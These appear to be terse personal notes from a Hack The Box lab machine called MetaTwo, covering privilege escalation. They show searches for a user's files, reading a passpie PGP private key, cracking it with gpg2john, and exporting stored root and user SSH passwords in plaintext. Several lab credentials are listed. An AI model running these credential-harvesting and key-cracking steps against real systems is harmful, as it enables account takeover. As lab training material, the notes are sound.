Priv Esc

Cb4_JmWM8zUZWMu@Ys
partylikearockstar
metapress.htb:9NYS_ii@FyL_p5M2NvJ
blog:635Aq@TdqrCwXFUZ

jnelson@meta2:~$ find / -group jnelson 2>/dev/null
<SNIP>
/home/jnelson/.bashrc
/home/jnelson/.passpie
/home/jnelson/.passpie/.keys
/home/jnelson/.passpie/ssh
/home/jnelson/.passpie/ssh/root.pass
/home/jnelson/.passpie/ssh/jnelson.pass
/home/jnelson/.passpie/.config

jnelson@meta2:~/.passpie$ cat .keys
<SNIP
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
<SNIP>

adot@pwndot:~/htb/metatwo$ gpg2john pgp.asc > pgp.hash

File pgp.asc

jnelson@meta2:/dev/shm$ passpie export pass.txt
Passphrase:
jnelson@meta2:/dev/shm$ cat pass.txt
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0